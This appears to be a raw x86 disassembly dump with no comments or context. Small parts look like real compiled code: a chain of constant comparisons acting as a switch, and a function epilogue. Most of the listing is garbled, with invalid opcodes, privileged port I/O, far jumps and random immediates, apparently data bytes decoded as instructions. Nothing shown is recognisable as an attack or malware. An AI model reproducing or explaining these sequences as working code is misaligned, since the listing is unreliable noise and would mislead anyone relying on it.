fistp word [ebx - 0x16]
sbb edx, dword [edx]
adc byte [ecx + 0xb], bh
or eax, 0x6e25063b
stc
cmpsd dword [esi], dword es:[edi]
jae 0x67dca037
ljmp 0xe946:0x41e9a4c1
push 0x29
aaa
mov esi, 0x723c0a97
lodsd eax, dword [esi]
cmp ch, al
bound edx, qword [ebp - 0x3a13308a]
nop
int3
and dword [ecx], esi
adc dword [esp + eax*4], esp
mov edx, 0x486332fa
fucompi st(6)
loop 0x67dca0a5
push ds
sub ecx, dword [esi - 0x7d]
jmp 0x67dca08f
cmpsd dword [esi], dword es:[edi]
lahf
fidiv word [edx - 0x764430e9]
adc al, 0x78
sbb dh, byte [eax + 0x7b]
sbb eax, 0x74c0bfcb
movsb byte es:[edi], byte [esi]
jnp 0x67dca023
push esp
loopne 0x67dca0c9
jb 0x67dca0bd
std
out dx, eax
jl 0x67dca076
mov dword [0xd4be7b17], esp
jle 0x67dca028
adc eax, 0x7d18184a
popal
jle 0x67dc9ffc
aad 0xda
inc esp
mov al, byte [0x4afb7417]
call 0xf8448605
int3
xchg ebp, eax
mul dword [edx]
femms
or bh, byte [edx - 0x20]
out dx, al
insb byte es:[edi], dx
in al, dx
or al, 0x55
pop ecx
imul ebp, ebp, 0xffffffd8
ljmp 0x1fa3
push ebp
mov dword [esi + 0x5df2b5cb], 0x85b9ab48
out dx, eax
in eax, dx
sub bl, dh
and edi, esp
xor ebx, esp
cmp dword [ebx - 0xfb28f4b], eax
out dx, al
lcall 0x853b, 0xab18658f
cwde
imul eax, dword gs:[ebp - 0x5a], 0x4b
aad 0xac
mov cl, 0x36
inc esp
mov ch, 0x70
dec ebp
invalid
xchg ecx, eax
push ds
mov bh, byte [ecx]
cwde
xor dword [eax], 0x369d6351
mov ebp, 0xefe3871e
push ds
xchg ebx, esp
out dx, eax
jmp 0x67dca110
mov ch, 0xdc
adc eax, dword [ebp + 0x40]
adc bl, al
in al, dx
shl byte [ebx], 1
int1
inc eax
cmp al, 0x9f
add dh, al
add eax, 0xa84843a2
imul esp, dword [edx], 0x14c29f07
mov esi, 0xb2abb1a9
inc edi
retf
nop
jmp 0x67dca58d
nop
add dword [ebp - 0x10], 4
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
test eax, eax
jne 0x67dab66f
mov dword [ebp - 0x1a8], 0xdaee0
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 0x1b0], 0xe1a6b
mov dword [ebp - 0x1ac], 0
mov eax, dword [ebp - 0x1b0]
mov edx, dword [ebp - 0x1ac]
sub eax, dword [ebp - 0x1a8]
sbb edx, dword [ebp - 0x1a4]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], edx
mov eax, dword [ebp - 0x1b8]
xor eax, 0xc9e2d
or eax, dword [ebp - 0x1b4]
je 0x67dcd23d
mov edx, 0xc9e2d
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67dd0723
mov eax, dword [ebp - 0x1b8]
xor eax, 0x98580
or eax, dword [ebp - 0x1b4]
je 0x67dcbab9
mov edx, 0x98580
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67dd0723
mov eax, dword [ebp - 0x1b8]
xor eax, 0x92f9b
or eax, dword [ebp - 0x1b4]
je 0x67dccc5c
mov edx, 0x92f9b
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67dd0723
mov eax, dword [ebp - 0x1b8]
xor eax, 0x911b0
or eax, dword [ebp - 0x1b4]
je 0x67dcb4d8
mov edx, 0x911b0
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67dd0723
mov eax, dword [ebp - 0x1b8]
xor eax, 0x8aeab
or eax, dword [ebp - 0x1b4]
je 0x67dcc67b
mov edx, 0x8aeab
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67dd0723
mov eax, dword [ebp - 0x1b8]
xor eax, 0x7e9a2
or eax, dword [ebp - 0x1b4]
je 0x67dd0145
mov edx, 0x7e9a2
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67dd0723
mov eax, dword [ebp - 0x1b8]
xor eax, 0x68fa1
or eax, dword [ebp - 0x1b4]
je 0x67dcaef7
mov edx, 0x68fa1
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67dd0723
mov eax, dword [ebp - 0x1b8]
xor eax, 0x676ff
or eax, dword [ebp - 0x1b4]
je 0x67dcd81e
mov edx, 0x676ff
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67dd0723
mov eax, dword [ebp - 0x1b8]
xor eax, 0x5f475
or eax, dword [ebp - 0x1b4]
je 0x67dcefa2
mov edx, 0x5f475
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67dd0723
mov eax, dword [ebp - 0x1b8]
xor eax, 0x4362b
or eax, dword [ebp - 0x1b4]
je 0x67dcddff
mov edx, 0x4362b
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67dd0723
mov eax, dword [ebp - 0x1b8]
xor eax, 0x3b6c5
or eax, dword [ebp - 0x1b4]
je 0x67dce3e0
mov edx, 0x3b6c5
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67dd0723
mov eax, dword [ebp - 0x1b8]
xor eax, 0x28da6
or eax, dword [ebp - 0x1b4]
je 0x67dcfb64
mov edx, 0x28da6
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67dd0723
mov eax, dword [ebp - 0x1b8]
xor eax, 0x1e0a3
or eax, dword [ebp - 0x1b4]
je 0x67dcc09a
mov edx, 0x1e0a3
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67dd0723
mov eax, dword [ebp - 0x1b8]
xor eax, 0x198d1
or eax, dword [ebp - 0x1b4]
je 0x67dcf583
mov edx, 0x198d1
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67dd0723
mov eax, dword [ebp - 0x1b8]
xor eax, 0x13414
or eax, dword [ebp - 0x1b4]
je 0x67dce9c1
mov edx, 0x13414
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x67dd0723
mov eax, dword [ebp - 0x1b8]
xor eax, 0x2b74
or eax, dword [ebp - 0x1b4]
je 0x67dca916
mov eax, dword [ebp - 0x1b8]
xor eax, 0x6b8b
or eax, dword [ebp - 0x1b4]
je 0x67dd0726
jmp 0x67dd0723
salc
dec esi
xchg dword [ebp + 0x1a124314], edi
shl byte [ebx + 0x51560210], cl
inc esi
ret
in al, dx
dec esi
loop 0x67dcaede
mov ebx, ebx
adc byte [edx + ebp*8], bl
xor byte [eax], cl
sbb al, 0x7a
mov edx, 0xe098aab8
out 0x24, al
nop
int3
mov cl, 0x61
loope 0x67dcaedc
invalid
in eax, dx
shl dword [ebp + 0x24], cl
lahf
ret
jne 0x67dcbad6
xchg esi, eax
add dword [edx - 0x2f], esi
neg dword [edx + ecx*4 + 0x34f373fa]
dec ebx
cmp esp, dword [edi - 0x45ee4167]
stc
mov edx, dword [eax + 0x4c6ee9cc]
add byte [eax], al
shr byte [edx + 0x64], 0x8f
and dl, bl
mov esp, 0x9cbd667d
dec eax
push ss
push esp
and ecx, dword [edi + 0x190c5433]
xor edx, dword [esp + ecx + 0x19]
aam 0x8e
inc edx
jecxz 0x67dcbb4e
sti
push esp
outsd dx, dword [esi]
nop
aas
xor esp, dword [esi + 0x6dd45080]
loope 0x67dcba9c
ror byte [esp + eax*2 - 0x60], 1
add edx, eax
imul esi, dword [edi], 0x4653a950
mov ecx, 0xcbae471a
sahf
pop edx
imul byte [esi + 0x404fe3a7]
aas
dec esi
cmp ebx, 0x684d181f
pop ds
sbb byte [ebp + 0x68], cl
cmc
inc ebx
loope 0x67dcbb52
adc dl, ah
wait
jge 0x67dcbb21
inc ecx
cmpsd dword [esi], dword es:[edi]
lodsb al, byte [esi]
pop eax
xor eax, dword [esi]
test dword [esi - 0x62], 0xfa73cbdf
pop edi
mov ebp, 0xcc9004b7
fisub dword [ecx]
scasd eax, dword es:[edi]
and eax, esp
mov ecx, 0x4d1f4ed4
les edi, [ecx + 0x4d1f4ed4]
loop 0x67dcbac9
jo 0x67dcbb5f
mov edi, dword [ebx + 6]
xor edi, eax
call 0x9d7b04b6
pop esi
sub dword [eax - 0x3f], edx
sahf
xor eax, 0xc150295e
insd dword es:[edi], dx
jbe 0x67dcbb33
inc edi
out 0xf, al
jae 0x67dcbafa
mov ebx, 0xdc469bbc
outsd dx, dword [esi]
ret
xchg edx, eax
outsd dx, dword ss:[esi]
dec edx
push ss
push edi
xor byte [ecx], bl
push ebx
stc
jg 0x67dcbafd
test byte [ebp - 0x58a94991], ah
push esi
cmpsd dword [esi], dword es:[edi]
aad 0xa1
nop
inc esi
xor al, 0xe0
push edi
fcom dword [esi + 0x5b52d26d]
clc
movsd dword es:[edi], dword [esi]
lodsb al, byte [esi]
mov ebp, 0x8b516b1c
pop es
xchg edi, eax
xor al, 0x35
rol ebx, cl
cmpsb byte [esi], byte es:[edi]
in al, dx
push eax
nop
int3
stc
lahf
call 0xdbe9060f
mov dh, 0xfd
sub eax, 0x995ad3f6
nop
int3
mov eax, dword [0x361161c5]
int 0x57
pushfd
jmp 0x67dcc0a1
scasb al, byte es:[edi]
sbb dword [ebx - 0x98b0375], edx
pop esp
push eax
salc
push eax
movsb byte es:[edi], byte [esi]
push edx
jge 0x67dcc021
xchg ebx, eax
mov ah, 0x85
sub eax, 0x9c6773b6
push fs
jle 0x67dcc033
xchg edx, eax
nop
int3
xchg byte [ebp - 7], ch
cmp ebx, dword [ebp + 0x1da2617b]
push ebx
imul eax, dword [ecx - 0x6a87465c], 0xffffffc2
fmulp st(7)
stosd dword es:[edi], eax
jge 0x67dcc077
mov byte [0x816b531d], al
movsb byte es:[edi], byte [esi]
mov ecx, 0xdec29578
iretd
lea edx, [ebx - 0x4740ca51]
fistp dword [eax - 0x74ac134c]
lodsd eax, dword [esi]
sub esi, ebx
daa
cwde
invalid
mov cl, 0xca
cwde
cmp byte gs:[0x3c5aef97], ch
mov cl, 0xf2
int1
loop 0x67dcc6dc
inc edi
push es
push edx
ret 0xe340
xor edx, dword [eax - 0x17dd9b34]
outsd dx, dword [esi]
ljmp 0x9b02
mov esp, 0x9b296b02
stosd dword es:[edi], eax
and ebp, edi
invalid
jmp 0x67dcd2b5
xor al, 0x65
hlt
xchg dword [eax + ecx - 0x8e74199], esp
jp 0x67dcd271
aas
push ss
mov al, 0xbc
xchg ebp, eax
push eax
add dword [edi + 0x1fb4d349], edx
pop ds
jp 0x67dcd303
dec ecx
invalid
pushal
loop 0x67dcd28a
cmc
push esi
xchg esp, eax
lodsd eax, dword [esi]
daa
fsubr dword [esi + 0x2e315156]
pop ds
add bh, bl
lea eax, [esi + 0x21]
frstor dword [0xe52184a6]
ror ch, 1
jl 0x67dcd276
mov edx, 0xee6dc269
lcall 0xf598, 0x98bec155
out 3, eax
add byte [edi - 0x2f], dl
xor bl, byte [edx - 0x58]
xchg ecx, eax
shr dword [ebx + 0x1a], 1
wait
loopne 0x67dcd334
fcomp st(3)
aas
mov eax, dword [0x72b6c1aa]
sub cl, byte [esi + 0x7fb95d69]
int1
mov es, word [edx + 0x6cba5e3c]
nop
int3
add al, 0xca
inc esi
xchg edx, eax
hlt
stosd dword es:[edi], eax
outsb dx, byte [esi]
test al, 0x9c
in eax, dx
adc eax, 0xc82162b7
xchg esi, eax
test eax, 0xaf56bbcf
push ss
outsd dx, dword [esi]
sub byte [ebp + 0x22], dl
xchg edi, eax
int3
iretd
jp 0x67dcdd54
push ebx
xchg edi, eax
enter 0x7952, 0x1b
xchg ecx, eax
cmp eax, 0x3773bc4f
push es
std
push edi
inc ecx
lodsd eax, dword [esi]
mov dh, byte [ebx]
xchg edi, eax
sbb ebp, ebx
adc dword [edx], edi
not ch
add eax, 0x8d699fa9
pop ebx
dec eax
scasb al, byte es:[edi]
outsd dx, dword [esi]
insd dword es:[edi], dx
and dl, byte [eax - 0x6f9af4a1]
int3
jecxz 0x67dcddcd
dec edx
shr byte [eax - 0x23], cl
cmp ebp, 0xd014a5db
jae 0x67dcde61
pop ebp
aam 0xbb
fsubr qword [ebx + 0x55]
mov ch, 0x36
mov cl, 0x6b
sub eax, 0xfcccf359
push esi
dec esi
std
clc
sbb eax, 0xcd3631bc
hlt
nop
int3
int3
invalid
fbld tbyte [ebx + 0x50]
push edx
clc
int3
add byte [edi], cl
mov al, byte [0xe2f2d4e0]
salc
stosb byte es:[edi], al
mov dl, 0x9a
int3
pop eax
outsd dx, dword [esi]
std
and ebx, dword [ebx]
in al, 0xc1
inc edx
invalid
pop ss
or eax, 0x7dce9d9a
adc ch, byte [esi + 0x4b8fb389]
div byte [ebx + 0x3b]
dec ebp
inc ecx
xor al, 0x6f
stc
sbb al, 0x4f
fdivr qword [esi - 0x67]
mov edx, 0xc9243ed2
mov eax, dword [0xdb952b32]
insd dword es:[edi], dx
loop 0x67dd01b3
mov dl, 0xfa
mov dl, byte [eax]
add cl, byte [edi]
push es
lahf
xor esi, dword [ecx + 0x35]
mov eax, dword [0x29414fa4]
dec edi
invalid
inc ecx
sub dword [edi - 0x3a], ecx
cdq
js 0x67dd01e1
aaa
xor byte [edx - 0x68], ah
int3
inc ebx
leave
popfd
dec edi
arpl word [eax], bx
mov dl, 0xa5
out 0x39, eax
fisttp word [edx - 0x52a4100a]
dec ecx
ja 0x67dd017a
retf
add ebx, dword [eax + edx*4]
dec eax
rcr byte [edi - 0x3b], 1
mov bh, 0x90
mov cl, 0x48
cmpsb byte [esi], byte es:[edi]
lds esi, [edi - 0x59b74e70]
mov word [ecx + 0xb], gs
stc
push es
fisttp word [ebx]
rcr dword [esi + 0x5bcacad9], cl
xchg ebp, eax
add cl, byte [ebx]
mov fs, word [eax]
das
mov edi, 0xfc70ac
das
or dword [eax - 0x1ae8045f], 0x4a
cmp al, al
fnstenv [eax]
xor edx, dword [ecx + 0x3a]
fcom qword [ecx - 0x7a]
xor cl, byte [esi - 0x73]
push esp
cmp byte [eax + 0x6af6c4cc], dl
fistp qword [eax + 0x25737548]
jnp 0x67dd027f
mov ebx, ss
movsb byte es:[edi], byte [esi]
fbstp tbyte [esi + 0x46]
adc ch, byte [edx]
sahf
jbe 0x67dd01d6
mov bl, 0xa
xor byte [ebp + ebx*8 + 0x36], cl
or dh, byte [eax]
dec esp
fnsave dword [esi]
sbb eax, 0x17689f4f
fbld tbyte [edi]
daa
jge 0x67dd0222
mov cs, ecx
nop
jle 0x67dd01d0
push eax
cmp al, 0xc1
pop esi
push ecx
or ch, byte [esi]
loope 0x67dd022e
rol dword [ebp - 0x565ca42f], 1
jg 0x67dd0288
ret
pop ds
sar dword [ecx - 0x51], cl
mov bl, 0xc1
mov dword [0xd1f0fd0], eax
pop ss
adc edx, dword [eax]
fisubr word [ecx - 0x2568daab]
pop ds
or eax, 0xde101317
test eax, 0xda972555
mov edi, 0x3bdd42bd
sub ebx, esi
popal
scasd eax, dword es:[di]
sbb dword [edi + 0x76], ecx
movsb byte es:[edi], byte [esi]
test dword [edx], esp
or bl, bh
dec edx
test eax, 0xb07c4fe
arpl word [edi + 0x5c3035c9], ax
dec eax
sub dword [edi], ebp
wait
push edi
xor dword [ebx], eax
movsd dword es:[edi], dword [esi]
int 0x1a
push ecx
mov dl, 0x4b
mov eax, 0x63aa5602
cmp bh, al
lcall 0x26e5, 0x3b14849e
cmp dl, bh
ficomp dword [ebx]
and al, 0x26
seto ah
jl 0x67dd02bc
inc esi
push esp
test dword [esi + 0x66], ebx
pop ds
leave
lahf
adc al, 0x79
sub dword [ecx - 0x4f875da8], 0xffffff8a
mov edi, 0x61e93801
mov ah, 8
invalid
nop
jmp 0x67dd0727
nop
add dword [ebp - 0xc], 0x14
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
test eax, eax
jne 0x67d9bb90
nop
nop
mov ebx, dword [ebp - 4]
leave
ret